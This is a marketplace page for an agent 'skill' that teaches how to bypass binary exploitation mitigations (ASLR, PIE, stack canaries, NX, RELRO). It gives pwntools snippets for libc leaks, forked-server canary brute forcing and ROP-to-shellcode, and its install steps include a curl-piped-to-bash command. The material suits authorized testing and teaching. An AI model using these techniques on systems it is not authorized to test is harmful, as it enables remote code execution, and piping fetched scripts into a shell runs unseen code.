‹ 首页

bypassing-binary-exploitation-mitigations

@xalgord · 收录于 昨天 · 上游提交 昨天

Methodology for identifying and defeating common binary hardening mitigations during authorized exploitation — ASLR, PIE, stack canaries, NX/DEP, and RELRO — by leaking addresses, brute-forcing entropy, abusing forked-process behavior, and selecting the right code-reuse primitive for the protections in place.

适合你,如果需要进行二进制漏洞利用并绕过常见防护。

/ 通过 npx 安装 校验哈希
npx oh-my-skill add xalgord/xalgorix/bypassing-binary-exploitation-mitigations
/ 通过 bash 安装
curl -fsSL https://oh-my-skill.com/install.sh | bash -s -- xalgord/xalgorix/bypassing-binary-exploitation-mitigations
/ 已经装过?验证本机副本,不用重装
npx oh-my-skill verify xalgord/xalgorix/bypassing-binary-exploitation-mitigations
安装目标可用 --agent / --scope 或 --to 明确指定;省略时只会在唯一已存在的 agent 目录上自动选择,零命中或多命中会停止并提示。content_hash 缺失或不一致均拒装。
807GitHub stars
~2.2K上下文体积 · 单文件
索引托管

怎么用

技能原文 SKILL.md作者撰写 · MIT · eeaf26b

Bypassing Binary Exploitation Mitigations

When to Use
  • At the start of any authorized binary exploitation engagement, to profile which protections (ASLR, PIE, canary, NX/DEP, RELRO) are active and plan the exploit path accordingly.
  • When a working memory-corruption primitive is blocked by a mitigation: a canary aborts the process, NX prevents shellcode, PIE/ASLR randomizes gadget addresses, or Full RELRO makes the GOT read-only.
  • When deciding what to leak (libc pointer, PIE base, canary) and how (format string, ret2plt, arbitrary read, brute force in a forked server).
Critical: Concepts/Steps Most Often Missed
  • Each mitigation is bypassed independently — enumerate them all first. checksec output drives everything. A binary can be PIE + canary + Full RELRO + NX, and you must defeat each separately (leak base, leak/forge canary, avoid GOT writes, use ROP).
  • Canary low byte is a NUL. On x64 the 8-byte canary's least significant byte is 0x00; on x86 the 4-byte canary's LSB is 0x00. String functions stop on it, so a printed canary leak shows only 7 (or 3) random bytes — account for the NUL when re-inserting it.
  • Forked servers share the canary and PIE slide. fork() without execve() means children inherit the parent's canary, so you can brute-force the canary (and PIE/stack addresses) one byte at a time using a crash-vs-success oracle. execve() after fork() defeats this.
  • Full RELRO does not protect everything. The main binary's GOT is read-only, but loaded shared libraries (libc) are only Partial RELRO. Modern targets removed __malloc_hook/__free_hook (glibc 2.34+), so pivot to other writable pointers, libc GOT, vtables, or SROP/ROP-into-libc.
  • PIE base ends in 000. A leaked code pointer's low 12 bits are the page offset; the base is leak & ~0xfff. If your computed base does not end in 000, your leak or offset is wrong.
  • vsyscall/vDSO and fixed kernel maps escape ASLR. 0xffffffffff600000 vsyscall has fixed addresses; on some arm64 Android kernels the linear map base is fixed, defeating KASLR with no leak.
How to CONFIRM

Run checksec --file ./vuln (and readelf -l/-d) and record each protection. Confirm a leak is valid before building on it: a leaked PIE/libc base must be page-aligned (& 0xfff == 0); a leaked canary's LSB must be 0x00. Confirm a canary bypass by sending the leaked canary back in the overflow and observing the process return normally (no *** stack smashing detected ***). Confirm NX status with readelf -W -l ./vuln | grep GNU_STACK (an E flag = exec stack).

Workflow
Step 1: Enumerate Protections
pwn checksec --file ./vuln
# RELRO, Stack Canary, NX, PIE — note each one

readelf -W -l ./vuln | grep GNU_STACK     # NX: RW (no E) = non-exec stack
readelf -d ./vuln | grep BIND_NOW          # present => Full RELRO
cat /proc/sys/kernel/randomize_va_space    # 0=off, 1=conservative, 2=full ASLR
Step 2: Defeat ASLR / PIE (Leak an Address)
from pwn import *
elf = context.binary = ELF('./vuln')

# Option A: format-string arbitrary read of a GOT entry to leak libc
payload  = p64(elf.got['puts']) + b'%7$s'      # adjust offset
# Option B: ret2plt — call puts(puts@got) to leak puts's runtime address
rop = ROP(elf)
rop.puts(elf.got['puts']); rop.call(elf.symbols['main'])  # leak then re-loop

# After leak:
leak = u64(io.recvline().strip().ljust(8, b'\x00'))
libc = elf.libc; libc.address = leak - libc.symbols['puts']
assert libc.address & 0xfff == 0, "bad leak / wrong offset"
# For PIE: elf.address = code_leak - known_offset

For 32-bit local targets with low entropy, brute force is viable: loop libc base across 0xb7000000..0xb8000000 step 0x1000, or use a NOP sled in env vars. Remote: brute-force usleep(10) address by watching for a 10s delay.

Step 3: Defeat the Stack Canary
# Forked-server byte-by-byte brute force (children share the canary)
canary = b'\x00'                                  # known NUL LSB
for pos in range(7):                              # remaining 7 bytes on x64
    for guess in range(256):
        io = remote(HOST, PORT)
        io.send(b'A'*buf_len + canary + bytes([guess]))
        if b'smashing' not in io.recvall(timeout=1):  # survived => correct
            canary += bytes([guess]); io.close(); break
        io.close()
# Or: leak the canary via format string / arbitrary read, then replay it.
payload = b'A'*offset + canary + b'B'*8 + rop_chain

Alternative bypasses: overwrite stack-stored pointers before the canary (pointer redirecting); in threaded apps overwrite the master canary in TLS; with Partial RELRO + arbitrary write, neuter __stack_chk_fail's GOT entry.

Step 4: Defeat NX and RELRO (Pick the Code-Reuse Primitive)
# NX on: no shellcode -> code reuse. Make a page RWX with mprotect then jump in.
rop = ROP(elf)
rop.mprotect(elf.bss() & ~0xfff, 0x1000, 7)        # PROT_RWX
payload = flat({offset: rop.chain(), offset+len(rop.chain()): asm(shellcraft.sh())})
  • Partial RELRO: overwrite a .got.plt entry or use ret2dlresolve; overwrite .fini_array/atexit pointers.
  • Full RELRO: GOT is read-only — target libc's (Partial-RELRO) GOT, C++ vtables, or do pure ROP/SROP into libc.
  • SROP (scarce gadgets): forge a sigframe, call sys_rt_sigreturn to load all registers, e.g. mprotect then run stack shellcode.
  • CET/IBT hardened: switch from ROP to JOP/COP (gadgets ending in jmp/call [reg]).
Key Concepts

| Concept | Description | |---------|-------------| | ASLR | Randomizes stack/heap/libs/mmap; randomize_va_space 0/1/2. 32-bit has low entropy (brute-forceable). | | PIE | Randomizes the binary's own base; bypass by leaking one code address (base = leak & ~0xfff). | | Stack canary | Random value before saved RIP/EBP; LSB is NUL. Bypass by leak, replay, or forked brute force. | | NX / DEP | Marks stack/heap non-executable; bypass with ROP/ret2libc/ret2syscall or mprotect-to-RWX. | | Partial RELRO | .got.plt writable -> GOT overwrite / ret2dlresolve still possible. | | Full RELRO | Entire GOT read-only (BIND_NOW); pivot to libc GOT, vtables, hooks, or ROP-into-libc. | | vsyscall/vDSO | Fixed (non-ASLR) addresses usable as a stable ret/syscall source. | | Master canary forging | In threaded apps, overwrite the TLS-stored master canary so the equal-vs-equal check passes. |

Tools & Systems

| Tool | Purpose | |------|---------| | checksec | Enumerate RELRO/canary/NX/PIE in one command. | | readelf / objdump | Confirm GNU_STACK perms, BIND_NOW, GOT/PLT and .fini_array layout. | | pwntools | ELF, ROP, libc.address, fmtstr_payload, brute-force loops, shellcraft, process/remote. | | gdb + pwndbg/GEF | vmmap for page perms and vsyscall, verify leaks/canary, inspect TLS (fs:0x28). | | ROPgadget / ropper | Find gadgets for ret2libc/ret2syscall/SROP/JOP once a base is known. | | one_gadget | Single-shot shell gadget after a libc leak (avoids GOT writes under Full RELRO). |

Common Scenarios
Scenario 1: PIE + NX + Partial RELRO

Leak a code pointer via format string, rebase the binary, then ROP using the binary's own gadgets; overwrite a .got.plt entry or ret2dlresolve to reach system.

Scenario 2: Canary + forked network service

Service forks per connection. Brute-force the 8-byte canary byte-by-byte (≤256 tries/byte) using crash vs. clean response, then overflow past the replayed canary into a ROP chain.

Scenario 3: Full RELRO + NX + ASLR

GOT is read-only and stack is non-exec. Leak libc via ret2plt puts, then ROP-into-libc system("/bin/sh") or a one_gadget — no GOT write needed.

Scenario 4: Low-entropy 32-bit + ASLR

Brute-force libc base locally, or stuff a large NOP sled into environment variables and jump to a guessed stack address repeatedly until execution lands in the sled.

Output Format
## Mitigation Assessment & Bypass Finding

**Target**: ./vuln (amd64)
**Protections**: PIE: yes | Canary: yes | NX: enabled | RELRO: Full | ASLR: 2 (full)

### Bypass Chain
1. ASLR/PIE: leaked libc via ret2plt puts@got -> base 0x7f...000 (page-aligned, confirmed)
2. Canary: leaked via format string %15$p -> 0x..00 (NUL LSB confirmed), replayed in overflow
3. NX/Full RELRO: pure ROP-into-libc system("/bin/sh") (no GOT write required)

### Proof
Process returned cleanly past canary; system("/bin/sh") yielded an interactive shell.

### Impact
All deployed mitigations bypassed -> reliable remote code execution.

### Recommendation
1. Keep Full RELRO, PIE, canaries, and NX enabled (they raise cost but are not individually sufficient).
2. Re-randomize the canary on fork (avoid fork-without-execve patterns in network daemons).
3. Adopt CET/shadow-stack (x86) or PAC/BTI (ARM) to break ROP/JOP.
4. Eliminate the root memory-corruption bug and the info-leak primitives that enable base/canary recovery.
按 MIT 许可原样转载,未经改动 · 在 GitHub 查看 →

评论

登录即可评论;带「已验证安装」的,是发布者名下有本店的安装或持有记录。